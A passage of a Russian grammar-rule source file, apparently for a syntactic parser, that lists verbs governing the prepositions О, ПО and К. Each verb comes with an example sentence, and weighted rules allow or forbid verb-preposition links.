rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу 